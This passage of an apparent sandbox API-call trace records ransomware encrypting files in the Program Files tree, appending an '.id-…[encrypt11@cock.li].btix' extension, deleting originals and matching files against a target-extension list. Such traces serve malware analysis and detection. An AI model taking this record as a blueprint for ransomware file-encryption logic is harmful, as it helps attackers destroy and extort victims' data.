Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf")) returned 0x220 [0145.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0145.400] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.400] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0145.401] GetLastError () returned 0x0 [0145.401] ReadFile (in: hFile=0x560, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x3734, lpOverlapped=0x0) returned 1 [0145.408] WriteFile (in: hFile=0x334, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x3740, lpOverlapped=0x0) returned 1 [0145.409] ReadFile (in: hFile=0x560, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.409] WriteFile (in: hFile=0x334, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0145.409] SetEndOfFile (hFile=0x334) returned 1 [0145.409] CloseHandle (hObject=0x334) returned 1 [0145.410] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.410] SetEndOfFile (hFile=0x560) returned 1 [0145.412] CloseHandle (hObject=0x560) returned 1 [0145.412] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.412] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf")) returned 1 [0145.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0145.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0145.413] lstrlenW (lpString=".doc") returned 4 [0145.413] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.413] lstrlenW (lpString=".docx") returned 5 [0145.413] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0145.413] lstrlenW (lpString=".pdf") returned 4 [0145.413] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.413] lstrlenW (lpString=".xls") returned 4 [0145.413] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.413] lstrlenW (lpString=".xlsx") returned 5 [0145.413] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0145.413] lstrlenW (lpString=".ppt") returned 4 [0145.413] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0145.413] lstrlenW (lpString=".zip") returned 4 [0145.413] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.413] lstrlenW (lpString=".rar") returned 4 [0145.413] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.413] lstrlenW (lpString=".bz2") returned 4 [0145.413] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.413] lstrlenW (lpString=".7z") returned 3 [0145.413] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0145.413] lstrlenW (lpString=".dbf") returned 4 [0145.413] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0145.413] lstrlenW (lpString=".1cd") returned 4 [0145.413] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68 [0145.414] lstrlenW (lpString=".jpg") returned 4 [0145.414] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.416] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=13436) returned 1 [0145.416] CloseHandle (hObject=0x560) returned 1 [0145.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf")) returned 0x220 [0145.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0145.417] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.417] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0145.418] GetLastError () returned 0x0 [0145.418] ReadFile (in: hFile=0x560, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x347c, lpOverlapped=0x0) returned 1 [0145.648] WriteFile (in: hFile=0x334, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x3480, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x3480, lpOverlapped=0x0) returned 1 [0145.649] ReadFile (in: hFile=0x560, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.649] WriteFile (in: hFile=0x334, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0145.649] SetEndOfFile (hFile=0x334) returned 1 [0145.649] CloseHandle (hObject=0x334) returned 1 [0145.649] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.649] SetEndOfFile (hFile=0x560) returned 1 [0145.651] CloseHandle (hObject=0x560) returned 1 [0145.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.859] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf")) returned 1 [0145.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0145.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0145.860] lstrlenW (lpString=".doc") returned 4 [0145.860] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.860] lstrlenW (lpString=".docx") returned 5 [0145.860] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0145.860] lstrlenW (lpString=".pdf") returned 4 [0145.860] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.860] lstrlenW (lpString=".xls") returned 4 [0145.860] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.860] lstrlenW (lpString=".xlsx") returned 5 [0145.860] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0145.860] lstrlenW (lpString=".ppt") returned 4 [0145.860] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0145.860] lstrlenW (lpString=".zip") returned 4 [0145.860] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.860] lstrlenW (lpString=".rar") returned 4 [0145.860] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.860] lstrlenW (lpString=".bz2") returned 4 [0145.860] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.860] lstrlenW (lpString=".7z") returned 3 [0145.860] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0145.860] lstrlenW (lpString=".dbf") returned 4 [0145.860] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0145.860] lstrlenW (lpString=".1cd") returned 4 [0145.860] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF") returned 68 [0145.861] lstrlenW (lpString=".jpg") returned 4 [0145.861] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0145.861] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=23672) returned 1 [0145.861] CloseHandle (hObject=0x4dc) returned 1 [0145.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf")) returned 0x220 [0145.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0145.862] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.862] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0145.862] GetLastError () returned 0x0 [0145.862] ReadFile (in: hFile=0x4dc, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x5c78, lpOverlapped=0x0) returned 1 [0145.904] WriteFile (in: hFile=0x430, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x5c80, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x5c80, lpOverlapped=0x0) returned 1 [0145.906] ReadFile (in: hFile=0x4dc, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.906] WriteFile (in: hFile=0x430, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0145.906] SetEndOfFile (hFile=0x430) returned 1 [0145.906] CloseHandle (hObject=0x430) returned 1 [0145.906] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.906] SetEndOfFile (hFile=0x4dc) returned 1 [0145.908] CloseHandle (hObject=0x4dc) returned 1 [0145.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.909] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf")) returned 1 [0145.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0145.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0145.910] lstrlenW (lpString=".doc") returned 4 [0145.910] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.910] lstrlenW (lpString=".docx") returned 5 [0145.910] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0145.910] lstrlenW (lpString=".pdf") returned 4 [0145.910] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.910] lstrlenW (lpString=".xls") returned 4 [0145.910] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.910] lstrlenW (lpString=".xlsx") returned 5 [0145.910] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0145.910] lstrlenW (lpString=".ppt") returned 4 [0145.910] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0145.910] lstrlenW (lpString=".zip") returned 4 [0145.910] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.910] lstrlenW (lpString=".rar") returned 4 [0145.910] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.910] lstrlenW (lpString=".bz2") returned 4 [0145.910] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.910] lstrlenW (lpString=".7z") returned 3 [0145.910] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0145.910] lstrlenW (lpString=".dbf") returned 4 [0145.910] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0145.910] lstrlenW (lpString=".1cd") returned 4 [0145.910] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0145.910] lstrlenW (lpString=".jpg") returned 4 [0145.910] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0145.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0145.910] lstrlenW (lpString=".doc") returned 4 [0145.911] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.911] lstrlenW (lpString=".docx") returned 5 [0145.911] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0145.911] lstrlenW (lpString=".pdf") returned 4 [0145.911] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.911] lstrlenW (lpString=".xls") returned 4 [0145.911] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.911] lstrlenW (lpString=".xlsx") returned 5 [0145.911] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0145.911] lstrlenW (lpString=".ppt") returned 4 [0145.911] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0145.911] lstrlenW (lpString=".zip") returned 4 [0145.911] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.911] lstrlenW (lpString=".rar") returned 4 [0145.911] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.911] lstrlenW (lpString=".bz2") returned 4 [0145.911] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.911] lstrlenW (lpString=".7z") returned 3 [0145.911] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0145.911] lstrlenW (lpString=".dbf") returned 4 [0145.911] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0145.911] lstrlenW (lpString=".1cd") returned 4 [0145.911] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0145.911] lstrlenW (lpString=".jpg") returned 4 [0145.911] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.911] lstrlenW (lpString=".id-") returned 4 [0145.911] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x574c80 | out: hHeap=0x510000) returned 1 [0145.911] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5bd730 | out: hHeap=0x510000) returned 1 [0145.911] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3d70048 | out: hHeap=0x510000) returned 1 [0145.913] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x510000) returned 1 [0145.915] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3e7c020 | out: hHeap=0x510000) returned 1 [0145.919] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x574e00 | out: hHeap=0x510000) returned 1 [0145.919] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b47d8 [0145.919] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b47d8, Size=0x20) returned 0x443dfe0 [0145.919] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b46b8 [0145.919] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b46b8, Size=0x20) returned 0x443de00 [0145.920] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0145.920] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0145.920] Wow64DisableWow64FsRedirection (in: OldValue=0x314ff50 | out: OldValue=0x314ff50*=0x1) returned 1 [0145.920] lstrlenW (lpString="kernel32.dll") returned 12 [0145.920] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x443de00 | out: hHeap=0x510000) returned 1 [0145.920] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0145.920] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x443dfe0 | out: hHeap=0x510000) returned 1 Thread: id = 44 os_tid = 0xe24 [0126.346] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x3d90728 [0126.346] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x3da0730 [0126.346] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574e30 [0126.346] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x5bd7a0 [0126.347] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574cb0 [0126.347] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100000) returned 0x3f8d020 [0126.349] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574e48 [0126.349] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x574e48, Size=0x20) returned 0x54e920 [0126.349] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574e48 [0126.349] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x574e48, Size=0x20) returned 0x54ea88 [0126.349] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0126.349] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0126.349] Wow64DisableWow64FsRedirection (in: OldValue=0x328ff50 | out: OldValue=0x328ff50*=0x0) returned 1 [0126.349] lstrlenW (lpString="kernel32.dll") returned 12 [0126.349] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54e920 | out: hHeap=0x510000) returned 1 [0126.349] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0126.349] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ea88 | out: hHeap=0x510000) returned 1 [0126.349] Sleep (dwMilliseconds=0x64) [0126.783] Sleep (dwMilliseconds=0x64) [0127.133] Sleep (dwMilliseconds=0x64) [0127.321] lstrcmpiW (lpString1=".LOG", lpString2=".btix") returned 1 [0127.321] lstrlenW (lpString="BCD.LOG") returned 7 [0127.321] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.321] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0127.321] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0127.321] lstrlenW (lpString=".doc") returned 4 [0127.321] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0127.321] lstrlenW (lpString=".docx") returned 5 [0127.321] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0127.321] lstrlenW (lpString=".pdf") returned 4 [0127.321] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0127.321] lstrlenW (lpString=".xls") returned 4 [0127.321] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0127.321] lstrlenW (lpString=".xlsx") returned 5 [0127.321] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0127.321] lstrlenW (lpString=".ppt") returned 4 [0127.321] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0127.321] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0127.321] lstrlenW (lpString=".zip") returned 4 [0127.321] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0127.321] lstrlenW (lpString=".rar") returned 4 [0127.321] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0127.321] lstrlenW (lpString=".bz2") returned 4 [0127.322] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0127.322] lstrlenW (lpString=".7z") returned 3 [0127.322] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0127.322] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0127.322] lstrlenW (lpString=".dbf") returned 4 [0127.322] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0127.322] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0127.322] lstrlenW (lpString=".1cd") returned 4 [0127.322] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0127.322] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0127.322] lstrlenW (lpString=".jpg") returned 4 [0127.322] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0127.322] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0127.322] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0127.322] lstrlenW (lpString=".doc") returned 4 [0127.322] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0127.322] lstrlenW (lpString=".docx") returned 5 [0127.322] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0127.322] lstrlenW (lpString=".pdf") returned 4 [0127.322] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0127.322] lstrlenW (lpString=".xls") returned 4 [0127.322] lstrcmpiW 